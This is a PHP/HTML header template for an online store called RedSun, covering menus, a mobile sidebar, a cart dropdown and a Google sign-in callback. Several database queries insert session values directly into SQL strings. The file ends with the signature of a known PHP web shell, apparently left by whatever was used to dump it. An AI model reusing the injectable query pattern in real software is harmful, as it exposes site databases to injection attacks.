<!--    <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown">  First level 3  </a>-->
<!--    <ul class="dropdown-menu fist" aria-labelledby="navbarDropdown">-->
<!--	  <li><a class="dropdown-item" href="#"> Second level 1 </a></li>-->
<!--	  <li><a class="dropdown-item" href="#"> Second level 2 &raquo </a>-->
<!--		 <ul class="submenu dropdown-menu">-->
<!--		    <li><a class="dropdown-item" href=""> Third level 1</a></li>-->
<!--		    <li><a class="dropdown-item" href=""> Third level 2</a></li>-->
<!--		    <li><a class="dropdown-item" href=""> Third level 3 &raquo </a>-->
<!--			<ul class="submenu dropdown-menu">-->
<!--			    <li><a class="dropdown-item" href=""> Fourth level 1</a></li>-->
<!--			    <li><a class="dropdown-item" href=""> Fourth level 2</a></li>-->
<!--			</ul>-->
<!--		    </li>-->
<!--		    <li><a class="dropdown-item" href=""> Second level  4</a></li>-->
<!--		    <li><a class="dropdown-item" href=""> Second level  5</a></li>-->
<!--		 </ul>-->
<!--	  </li>-->
<!--	  <li><a class="dropdown-item" href="#"> Dropdown item 3 </a></li>-->
<!--	  <li><a class="dropdown-item" href="#"> Dropdown item 4 </a></li>-->
<!--    </ul>-->
<!--</li>  -->
                               <li><a href="<?=BASE_URL?>index.php">Home</a></li>
<li><a href="#">About Us</a></li>

 <?php
       $brand_condition="`status`= 1 ORDER by `id` ASC LIMIT 12";
       $brand_query=$sel_obj->display_rcd("all_brands",$brand_condition);
       if(is_array($brand_query) AND !empty($brand_query))
       {
          foreach($brand_query as $brand_data)
          {
              ?>
<li class="dropdown">
  <a class="dropdown-toggle" href="<?=BASE_URL?>shop-brand/<?=$brand_data['id']?>/1/<?=generateSlug($brand_data['name']);?>" id="navbarDropdown" role="button" ><?php echo $brand_data['name'];?></a>
<?php 
                  $brandID =  $brand_data['id'];
                  $conditionCat = " cat_id IN(SELECT cat_id FROM multi_order_cat WHERE o_id=$brandID) and status=1";
                  $cat_query = $sel_obj->display_rcd("category", $conditionCat);
                  if(is_array($cat_query) AND !empty($cat_query))
                  {
                      ?>
  <ul class="dropdown-menu fist" aria-labelledby="navbarDropdown">
    <?php      
                          foreach($cat_query as $cat_data)
                          { ?>
              <li class="subdown">
                  <a href="<?=BASE_URL?>category/<?=$cat_data['cat_id']?>/1/<?=generateSlug($cat_data['name']);?>"> <?=$cat_data['name']?></a>
                
                 
             </li>
             <?php 
                          }
                          ?>
          
  </ul>
  <?php 
                     
                  }
                  ?>
</li>
                                  <!--<li>-->
          <?php
       }
  }
  ?>                         <!--  <a href="#">-->
                                  <!--    Raw Material -->
                                  <!--  </a>-->
                                  <!--</li>-->
                                 
                                  <!--<li><a href="<?=BASE_URL?>notification.php">New Arrivals</a></li>-->
                                  
                                   <li><a href="#">Contact Us</a></li>
                                 
                                
                           </ul>
                        </div>
                        <!--Main Navigation End -->
                     </div>
                  </div>
               </div>
            </div>
         </div>
         <!-- Menu Content End -->
         <!-- Header Buttom Start -->
         <div class="header-navigation sticky-nav d-lg-none">
            <div class="header-top-nav">
               <div class="container">
                  <div class="row">
                     <!--Left Start-->
                     <!--Left End-->
                     <!--Right Start-->
                     <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 col-12 ">

                        <div class="header-right-nav">
                           <div class="dropdown-navs">
                              <ul>
                                 <?php  if(isset($checksession) and !empty($checksession))
                                    {
                                      ?>
                                 <li class="dropdown after-n"><a  href="<?=BASE_URL?>bulk_enquiry.php"><i class="fa fa-database"></i>Bulk Enquiry</a></li>
                                 <li class="dropdown after-n">
                                    <a  href="<?=BASE_URL?>my_account.php">My Account</a>
                                 </li>
                                 <li class="dropdown after-n">
                                    <a  href="<?=BASE_URL?>logout.php">Logout</a>
                                 </li>
                                 <?php
                                    }
                                    else
                                    {
                                    ?>
                                 <li class="dropdown after-n"><a  href="<?=BASE_URL?>bulk_enquiry.php"><i class="fa fa-database"></i>Bulk Enquiry</a></li>
                                 <li class="dropdown after-n">
                                    <a  href="<?=BASE_URL?>register.php"><i class="fa fa-user-plus"></i>Register</a>
                                 </li>
                                 <li class="dropdown after-n">
                                    <a  href="<?=BASE_URL?>login.php"><i class="fa fa-sign-in"></i> Login</a>
                                 </li>
                                 <?php
                                    }
                                    ?>
                                 <!-- Language End -->
                              </ul>
                              <!--<ul class="ukp_ul">-->
                              <!--  <li class="dropdown after-n"><a href="<?=BASE_URL?>track_order.php">Order Tracking</a></li>-->
                                <!--<li class="dropdown after-n"><a href="<?=BASE_URL?>sell_product.php">Sell Your Product</a></li>-->
                              <!--  <li class="dropdown after-n"><a href="<?=BASE_URL?>https://play.google.com/store/apps/details?id=com.a4paper" target="_self">Download App</a></li>-->
                              <!--</ul>-->
                           </div>
                        </div>
                     </div>
                     <!--Right End-->
                  </div>
               </div>
            </div>
            <style>
              .opside {
    position: fixed;
    z-index: -1 !important;
    top: 0;
    right: 0;
    bottom: 0;
    left: 0;
    display: none;
    background-color: rgba(0, 0, 0, 0.5);
}
            </style>
            <div class="container position-relative">
               <div class="row">
                <div class="col-3">
                  <!-- mobile menu --> 
         <div class="page-wrapper chiller-theme toggled mobmenub">
            <a id="show-sidebar" class="btn btn-sm btn-dark" href="#">
              <i class="fas fa-bars"></i>
            </a>
            <nav id="sidebar" class="sidebar-wrapper actives">
              <div class="sidebar-content">
                <div class="sidebar-brand">
                  <a href="#">RedSun</a>
                  <div id="close-sidebar">
                    <i class="fas fa-times"></i>
                  </div>
                </div>
         
                <div class="sidebar-menu">
                  <ul>
                    <li>
                      <a href="<?=BASE_URL?>index.php">
                        <span>Home</span>
                      </a>
                    </li>
                     <?php
                                         $brand_condition="`status`= 1 ORDER by `id` ASC LIMIT 12";
                                         $brand_query=$sel_obj->display_rcd("all_brands",$brand_condition);
                                         if(is_array($brand_query) AND !empty($brand_query))
                                         {
                                            foreach($brand_query as $brand_data)
                                            {
                                                ?>
                                    <li class="sidebar-dropdown ">
                                      <a href="#">
                                        <span> <?php echo $brand_data['name'];?></span>
                                       
                                      </a>
                                      <div class="sidebar-submenu" >
                                          <?php 
                                                    $brandID =  $brand_data['id'];
                                                    $conditionCat = " cat_id IN(SELECT cat_id FROM multi_order_cat WHERE o_id=$brandID) and status=1";
                                                    $cat_query = $sel_obj->display_rcd("category", $conditionCat);
                                                    if(is_array($cat_query) AND !empty($cat_query))
                                                    {
                                                        ?>
                                        <ul>
                                           <?php      
                                                            foreach($cat_query as $cat_data)
                                                            { ?>
                                                            <li>
                                                              <a href="<?=BASE_URL?>category/<?=$cat_data['cat_id']?>/1/<?=generateSlug($cat_data['name']);?>">
                                                                <?=$cat_data['name']?>
                                                              </a>
                                                            </li>
                                                            <?php 
                                                            }
                                                            ?>
                                         
                                        </ul>
                                        <?php 
                                                       
                                                    }
                                                    ?>
                                      </div>
                                    </li>  
                                     <?php
                                 }
                                 }
                                    ?> 
                  
                   <li>
                      <a href="#">
                        <span>Contact Us</span>
                      </a>

                    </li>
                  </ul>
                </div>
                <!-- sidebar-menu  -->
              </div>
              <!-- sidebar-content  -->
              
            </nav>
            <!-- sidebar-wrapper  -->
            <div class="opside" id="opsideid" ></div>
            <!-- page-content" -->
          </div>
                </div>
                  <!-- Logo Start -->
                  <div class="col-md-6 col-sm-6 col-xs-6 col-5">
                     <div class="logo">
                        <a href="<?=BASE_URL?>index.php" style="color:#fff; text-transform: capitalize;"><img src="<?=BASE_URL?>assets/images/logo/logo.png" class="img-fluid" />
                        <?php if(isset($checksession) and !empty($checksession))
                           {
                              echo "hello, ".$user_data['FullName']; 
                           }
                           ?>
                        </a>
                     </div>
                  </div>
                  <!-- Logo End -->
                  <!-- Navigation Start -->
                  <div class="col-md-6 col-sm-6 col-xs-6 col-4">
                     <!--Header Bottom Account Start -->
                     <div class="header_account_area">
                        <!--Seach Area Start -->
                        <div class="header_account_list search_list mobile_search" id="form1">
                           <a href="javascript:void(0)"><i class="ion-ios-search-strong"></i></a>
                           <div class="dropdown_search">
                              <form action="<?=BASE_URL?>search.php" method="get">
                                 <input placeholder="Search entire store here ..." type="text" name="search_product" required/>
                                 <button type="submit" name="submit"><i class="ion-ios-search-strong"></i></button>
                              </form>
                           </div>
                        </div>
                        <!--Seach Area End -->
                        <div class="___bell mobile_bell">
                          <a class="search_icons" id="formButton"><i class="fa fa-search" aria-hidden="true"></i>
                          </a>  
                    </div>
                        <!--Cart info Start -->
                        <div class="cart-info home-9 d-flex hidden-sm-up">
                           <div class="mini-cart-warp">
                              <a href="#" class="count-cart"><span class="customcount mobilecart" ><span id="mobilecarttotal"><?php echo $all_count_where;?></span></span></a>
                              <div class="mini-cart-content">
                                 <div id="mobilecart">
                                    <?php
                                       if(isset($checksession) and !empty($checksession))
                                       {
                                           $where_con="`user_id`="."'$checksession' AND `status`= 1";
                                           $count = $sel_obj->all_count_row('temp_cart',$where_con);
                                           }
                                           else
                                           {
                                               $where_con="`temp_id`="."'$temp_session_id' AND `status`= 1";
                                               $count = $sel_obj->all_count_row('temp_cart',$where_con);
                                           }
                                       
                                           if($count>=1)
                                           { 
                                       
                                       ?>
                                    <div class="cartscroll">
                                       <ul>
                                          <?php
                                             if(isset($checksession) and !empty($checksession))
                                             {
                                                 $where_con="`user_id`="."'$checksession' AND `status`= 1";
                                                 $fetch_temp_cart = $sel_obj->display_rcd('temp_cart',$where_con);
                                             }
                                             else
                                             {
                                                  $where_con="`temp_id`="."'$temp_session_id' AND `status`= 1";
                                                  $fetch_temp_cart = $sel_obj->display_rcd('temp_cart',$where_con);
                                             }
                                                  if(is_array($fetch_temp_cart) || is_object($fetch_temp_cart))
                                                  {
                                                      $total_gst = 0;
                                                      $sub_total=""; 
                                                     foreach($fetch_temp_cart as $temp_items)
                                                     {
                                             
                                                 @$sub_total += ($temp_items['quantity'] * $temp_items['d_price']);
                                                 $item_total = $temp_items['quantity']* $temp_items['d_price']; 
                                                      
                                                      
                                                     $gst=str_replace("%"," ",$temp_items['gst']);
                                                     $gst_sub=$sel_obj->getPercentOfNumber($temp_items['d_price'],$gst);
                                                     $dd = ($gst_sub*$temp_items['quantity']);
                                                     $total_gst += $dd;
                                              ?> 
                                          <li class="single-shopping-cart">
                                             <div class="shopping-cart-img">
                                                <a href="#"><img alt="" src="admin/upload/<?php echo $temp_items['img'];?>" /></a>
                                                <span class="product-quantity"><?php echo $temp_items['quantity'];?>x</span>
                                             </div>
                                             <div class="shopping-cart-title">
                                                <h4><a href="#"><?php echo $temp_items['p_name'];?></a></h4>
                                                <span>₹<?php echo number_format($item_total,"2")?></span>
                                                <div class="shopping-cart-delete">
                                                   <a href="<?=BASE_URL?>action.php?remove=<?php echo base64_encode($temp_items['id']);?>"><i class="ion-android-cancel"></i></a>
                                                </div>
                                             </div>
                                          </li>
                                          <?php } }?>
                                       </ul>
                                    </div>
                                    <div class="shopping-cart-total">
                                       <h4>Subtotal : <span>₹<?php echo number_format($sub_total,"2");?></span></h4>
                                       <h4 class="shop-total">Total : <span>₹<?php echo number_format($sub_total,"2");?></span></h4>
                                    </div>
                                    <div class="shopping-cart-btn text-center"><a class="default-btn" style="background: #0090f0;" href="<?=BASE_URL?>cart.php">cart</a></div>
                                    <?php
                                       }
                                       else
                                       { 
                                       ?>
                                    <img src="<?=BASE_URL?>assets/images/emptycart.jpg" class="img-responsive">
                                    <?php 
                                       }
                                       ?>
                                 </div>
                              </div>
                           </div>
                        </div>
                        <!--Cart info End -->

                        <!-- bell icon  -->
                    <div class="___bell mobile_bell">
                      <?php if($count_bell>0){ ?>
                          <a href="<?=BASE_URL?>notification.php" style=" margin-top: 17px; margin-left: 14px;"><i class="fa fa-bell" aria-hidden="true"></i>
                              <span class="count" style="margin-top: 8px;"><?php echo $count_bell; ?></span>
                          </a>
                          <?php }else{ ?>
                          <a style=" margin-top: 17px; margin-left: 17px;"><i class="fa fa-bell" aria-hidden="true"></i></a>
                          <?php } ?>
                    </div>
                    
                    
                     </div>
                  </div>
               </div>
               <!-- mobile menu -->
               <!-- mobile menu end-->
            </div>
         </div>
      </header>

<!-- ==================== One-Tap Gamil Login API ================== -->


<?php if (!isset($_SESSION["uid"])): ?>

     
<script>
    // callback function that will be called when the user is successfully logged-in with Google
    function googleLoginEndpoint(googleUser) {
        // get user information from Google
        console.log(googleUser);
 
        // send an AJAX request to register the user in your website
        var ajax = new XMLHttpRequest();
 
        // path of server file
        ajax.open("POST", "google-sign-in.php", true);
 
        // callback when the status of AJAX is changed
        ajax.onreadystatechange = function () {
 
            // when the request is completed
            if (this.readyState == 4) {
 
                // when the response is okay
                if (this.status == 200) {
                    console.log(this.responseText);
                    // window.location.href='my_account.php';
                    location.reload();
                }
 
                // if there is any server error
                if (this.status == 500) {
                    console.log(this.responseText);
                }
            }
        };
 
        // send google credentials in the AJAX request
        var formData = new FormData();
        formData.append("id_token", googleUser.credential);
        ajax.send(formData);
    }
</script>

<?php endif; ?> 
<!-- ======== Delete  User Interest Product Log Without Login ======== -->
<?php
  $yesterday = date("Y-m-d H:i:s", strtotime("-30 day"));
  /*---Delete User Interest ----*/
  $where_log = "user_id=0 AND created_at<='$yesterday'";
  $sel_obj->delete_where("user_product_log", $where_log);
  /*---------- Delete Auto Email Sent -----*/
  $where_log = "created_at<='$yesterday'";
  $sel_obj->delete_where("auto_sent_email", $where_log);
  
?>


<script>
  $(".sidebar-dropdown > a").click(function() {
  $(".sidebar-submenu").slideUp(200);
  if (
    $(this)
      .parent()
      .hasClass("active")
  ) {
    $(".sidebar-dropdown").removeClass("active");
    $(this)
      .parent()
      .removeClass("active");
  } else {
    $(".sidebar-dropdown").removeClass("active");
    $(this)
      .next(".sidebar-submenu")
      .slideDown(200);
    $(this)
      .parent()
      .addClass("active");
  }
});


$("#show-sidebar").click(function() {
  $(".page-wrapper").addClass("toggled");
});
$("#close-sidebar").click(function() {
  $(".page-wrapper").removeClass("toggled");
});

function searchProduct(string){
    
    if(string.length > 2){
         $.ajax({
            type:'post',
            url:base_url+'search-product.php',
            data:{search:string}, 
            success: function(response){
                if(response) {
                    const parser = new DOMParser();
                    const parsedResponse = parser.parseFromString(response, 'text/html');
                     $("#searchData").show();
                    if(parsedResponse.getElementsByTagName('li').length > 1) {
                      $("#searchData").html(response);     
                    }else {
                        $("#searchData").html('<li>add another keyword </li>');
                    }
                }
            }
        });
    }
}

</script>
<script>
    $(document).ready(function() {
    $('.dropdown_search input').focus(function(){
        $("#searchData").hide();
    })
    $(document).click(function(){
        $("#searchData").hide();
    })
     $('$searchData').click(function(e){
        e.stopPropagation();
    })
  
});
</script>

<script>
    $("#show-sidebar").click(function() {
  $(".actives").css("display", "block"  );
});
    $("#show-sidebar").click(function() {
  $(".opside").css("display", "block"  );
});
$("#show-sidebar").click(function() {
  $(".sidebar-wrapper").css("left", "0"  );
});
$("#close-sidebar").click(function() {
  $(".sidebar-wrapper").css("display", "none"  );
});
$("#opsideid").click(function() {
  $(".opside").css("display", "none"  );
});
$("#opsideid").click(function() {
  $(".actives").css("display", "none"  );
});


$(document).on('click', '.dropdown-menu', function (e) {
  e.stopPropagation();
});

// make it as accordion for smaller screens
if ($(window).width() < 992) {
  $('.dropdown-menu a').click(function(e){
    e.preventDefault();
      if($(this).next('.submenu').length){
        $(this).next('.submenu').toggle();
      }
      $('.dropdown').on('hide.bs.dropdown', function () {
     $(this).find('.submenu').hide();
  })
  });
}
</script>
<style>
.search_icons{
    margin-top: 13px;
    margin-left: 10px;
}
        .actives{
            display:none;
            z-index:99999;
        }
        .main-navigation .dropdown:hover .fist{
            display:block;
        }
        .logo img{
            width:auto;
        }
        
        
        @media (min-width: 992px){
	.dropdown-menu .dropdown-toggle:after{
		border-top: .3em solid transparent;
	    border-right: 0;
	    border-bottom: .3em solid transparent;
	    border-left: .3em solid;
	}
	.dropdown-menu .dropdown-menu{
		margin-left:0; margin-right: 0;
	}
	.dropdown-menu li{
		position: relative;
	}
	.nav-item .submenu{ 
		display: none;
		position: absolute;
		left:100%; top:-7px;
	}
	.nav-item .submenu-left{ 
		right:100%; left:auto;
	}
	.dropdown-menu > li:hover{ background-color: #f1f1f1 }
	.dropdown-menu > li:hover > .submenu{
		display: block;
	}
}


@media (max-width: 768px) {
  .tool::after { 
        font-size: .75em;
        margin-left: -5em;
        width: 10em; 
  }
  .section-title h2{
      line-height:25px !important;
  }
  .catmtol .vibtno {
    float: right;
    margin-top: 0px !important;
    }
    .dropdown_search {
		width: 290px !important;
		left: -180px;
	}
	.home-10 .header_account_area{
	    /*position:absolute!important;*/
	}
	.home-9 .count-cart {
    margin-left: 1px;
    }
    .home-11 .cart-info {
    margin: 10px 0 0 2px;
    }
    .catmtol {
     text-align: end; 
    display: inline-flex;
    justify-content: space-between;
    width: 100%;
    }
    .catmtol .vibtno {
    /* float: right; */
    margin-top: 0px !important;
    width: 30%;
    }
    .section-title h2 {
    margin: 0px 0 0px !important;
        text-align: left;
        font-size:18px;
    width:70%;
    }
    .section-title {
        margin-bottom: 10px !important;
    }
    
    .sidebar-content{
        height:100vh !important;
        background:black;
        max-height:100vh !important;
    }
}


.mobile_search{
    display:none;
}

    </style>
<script>
    $(document).ready(function(){
    $("#formButton").click(function(){
        $("#form1").toggle();
    });
});
</script>    

Youez - 2016 - github.com/yon3zu
LinuXploit